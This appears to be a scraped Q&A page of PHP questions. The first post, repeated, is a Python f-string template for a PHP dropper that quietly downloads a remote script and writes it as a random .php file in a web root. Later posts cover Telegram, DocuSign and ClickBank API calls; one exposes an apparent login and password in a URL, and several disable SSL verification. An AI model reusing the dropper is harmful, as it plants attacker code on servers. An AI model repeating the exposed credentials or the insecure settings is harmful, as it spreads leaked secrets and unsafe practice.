Formatted string literals for simpe script php in python3 - python-3.x

anyone call tell me how i can use a Formatted string literals for this function in php:
<?php #ini_set("output_buffering", 0); #ini_set("display_errors", 0); set_time_limit(0); function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER["DOCUMENT_ROOT"] . "'/{filephpran}'"; $text = http_get("https://example.com/script.txt"); $open = fopen($check, "w"); fwrite($open, $text); fclose($open); if(file_exists($check)){ } echo ""; ?>
i have try so many time but still dont working, need on php function add " filephpran ".
filephpran = random_file(10) + '.php'
f'<?php #ini_set("output_buffering", 0); #ini_set("display_errors", 0); set_time_limit(0); function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER["DOCUMENT_ROOT"] . "'/{filephpran}'"; $text = http_get("https://example.com/script.txt"); $open = fopen($check, "w"); fwrite($open, $text); fclose($open); if(file_exists($check)){ } echo ""; ?>'
Thanks so much for help me!!

Related

Function php + Formatted string literals

how i can use a Formatted string literals for my function in php:
filephpran = random_file(10) + '.php'
f'<?php #ini_set("output_buffering", 0); #ini_set("display_errors", 0); set_time_limit(0); function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER["DOCUMENT_ROOT"] . "'/{filephpran}'"; $text = http_get("https://example.com/script.txt"); $open = fopen($check, "w"); fwrite($open, $text); fclose($open); if(file_exists($check)){ } echo ""; ?>'
i have try so many time but still dont working, need on php function add " filephpran ".
Thanks so much for help me!!

Telegram bot on IIS: sendPhoto is not working

function sendTelegramSMS($text,$tgimage) {
$botToken="tokenCODE";
$website="https://api.telegram.org/bot".$botToken;
$chatId='1242433';
//image
$params=[
'chat_id'=>$chatId,
'text'=> $text,
'photo'=> '#'.$tgimage,
];
$ch = curl_init($website . '/sendPhoto');
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
//message
$params=[
'chat_id'=>$chatId,
'text'=> $text,
];
$ch = curl_init($website . '/sendMessage');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
}
$thefile= '/auth/prova.png';
sendTelegramSMS($reservation,$thefile);
This code works for sending messages (//message part), but doesn't work to send photos (//image part)...
i've tried a bounch of directory structure, nothing happen.
Hosted on Win10 with IIS.

Docusign download unsigned enveloppe with tabs

Hello I'm using the docusign rest api and I have a use case where I must download an envelope document in pdf for manual signing the problem is when an envelope isn't signed I get the envelope document empty (without pre-filled fields) but when it's signed I get the document with all the fields,
the result expected is the document with all pre-filled fields.
Here is my code:
$curl = curl_init($loginInfo['baseUrl'] . "/envelopes/" . 'f487cf56-3a07-4cd3-ace7-XXXXXXXXXXXX' . "/documents" );
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array(
"X-DocuSign-Authentication: $header" )
);
$json_response = curl_exec($curl);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ( $status != 200 ) {
echo "error calling webservice, status is:" . $status;
exit(-1);
}
$response = json_decode($json_response, true);
curl_close($curl);
//var_dump($xml);
//
// STEP 3 - download the documents
//
foreach( $response["envelopeDocuments"] as $document ) {
print_r($document);
$docUri = $document["uri"];
$curl = curl_init($loginInfo['baseUrl'] . $docUri );
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array(
"X-DocuSign-Authentication: $header" )
);
$data = curl_exec($curl);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ( $status != 200 ) {
echo "error calling webservice, status is:" . $status;
exit(-1);
}
file_put_contents('f487cf56-3a07-4cd3-ace7-XXXXXXXX' . "-" . $document["name"], $data);
curl_close($curl);
Thank you !
For people searching, you can't do it until the envelope is completed, the fields aren't attached to the document until it's signed.

Fetching signature image for logged in user using docusign rest api

I have a project in which I have created a form containing fileds:-
1.) Name
2.) Signature
In signature column there is button "Add Signature" when click on button it opens popup to enter docusign email and password. Once click on login it get's signature image url of the user. But the problem with my code is I am not getting image.
My issue is I want to display signature image after authentication in my project. Please suggest me what is wrong in my code.
My project url is:-
http://surgimedik.esoftech.in/out/out.AddDocument.phpfolderid=1&showtree=1#popup1
admin / admin
You can check below url where I am getting image url. when you hit it it asks for login itstead of showing image.
http://surgimedik.esoftech.in/docusign/test.phpemail=akash#esoftech.org&pwd=Terminate#12345
<?php
$email = $_REQUEST["email"];
$password = $_REQUEST["pwd"];
$integratorKey = '4a394221-7742-4f39-8a90-9021732676e8';
$header = "<DocuSignCredentials><Username>" . $email . "</Username><Password>" . $password . "</Password><IntegratorKey>" . $integratorKey . "</IntegratorKey></DocuSignCredentials>";
$url = "https://demo.docusign.net/restapi/v2/login_information?include_account_id=true";
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("X-DocuSign-Authentication: $header"));
$json_response = curl_exec($curl);
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status != 200) {
echo "error calling webservice, status is:" . $status;
exit(-1);
}
$response = json_decode($json_response, true);
$accountId = $response["loginAccounts"][0]["accountId"];
$userId = $response["loginAccounts"][0]["userId"];
curl_close($curl);
$url_sig = "https://demo.docusign.net/restapi/v2/accounts/$accountId/users/$userId/signatures";
$curl_sig = curl_init($url_sig);
curl_setopt($curl_sig, CURLOPT_HEADER, false);
curl_setopt($curl_sig, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_sig, CURLOPT_HTTPHEADER, array("X-DocuSign-Authentication: $header"));
$json_response1 = curl_exec($curl_sig);
$status_sig = curl_getinfo($curl_sig, CURLINFO_HTTP_CODE);
if ($status_sig != 200) {
echo "error calling webservice, status is:" . $status_sig;
exit(-1);
}
$response1 = json_decode($json_response1, true);
$signatureId = $response1["userSignatures"][0]["signatureId"];
$url_sig1 = "https://demo.docusign.net/restapi/v2/accounts/$accountId/users/$userId/signatures/$signatureId";
$curl_sig1 = curl_init($url_sig1);
curl_setopt($curl_sig1, CURLOPT_HEADER, false);
curl_setopt($curl_sig1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_sig1, CURLOPT_HTTPHEADER, array("X-DocuSign-Authentication: $header"));
$json_response11 = curl_exec($curl_sig1);
$status_sig1 = curl_getinfo($curl_sig1, CURLINFO_HTTP_CODE);
if ($status_sig1 != 200) {
echo "error calling webservice, status is:" . $status_sig1;
exit(-1);
}
$result = json_decode($json_response11);
echo "https://appdemo.docusign.com" . $result->signatureImageUri;
You are using the wrong api.
Use the getImageUserSignatures api
GET /v2/accounts/{accountId}/users/{userId}/signatures/{signatureId}/signature_image

Clickbank api for getting the receipt information

I have tried creating a small class for clickbank which fetches the receipt information from the clickbank. I thought, it might be helpful for someone. In function get_payment_info($tries, $receipt) tries has been used because clickbank doesn't recognize transaction immediately after it happens.
<?php
define('CLICKBANK_DEV_KEY','DEV-KEY');
define('CLICKBANK_API_KEY','API-KEY');
Class ClickBank
{
/*
* $tries how many times to check for receipt
* because when you come back from clicbank it sometimes shows it invalid
*
* $receipt
*
* #return empty array if receipt not valid
* receipt info array if receipt is valid
*/
function get_payment_info($tries, $receipt){
$receipt_info = array();
while($tries>0 && count($receipt_info)==0){
$receipt_info = $this->get_receipt_info($receipt);
$tries--;
}
return $receipt_info;
}
function get_receipt_info($receipt){
$receipt_info = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://api.clickbank.com/rest/1.2/orders/$receipt");
curl_setopt($ch, CURLOPT_HEADER, false);
//curl_setopt($ch, CURLOPT_GET, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Accept: application/json", "Authorization:".CLICKBANK_DEV_KEY.":".CLICKBANK_API_KEY));
$result = curl_exec($ch);
$curl_info = curl_getinfo($ch);
curl_close($ch);
if($curl_info['http_code']==200){
$receipt_info = json_decode($result);
}
return $receipt_info;
}
}
$clickbank = new ClickBank();
$receipt = $_GET['cbreceipt'];
// it will return you transaction details
$transaction_info = $clickbank->get_payment_info(10, $receipt);

Resources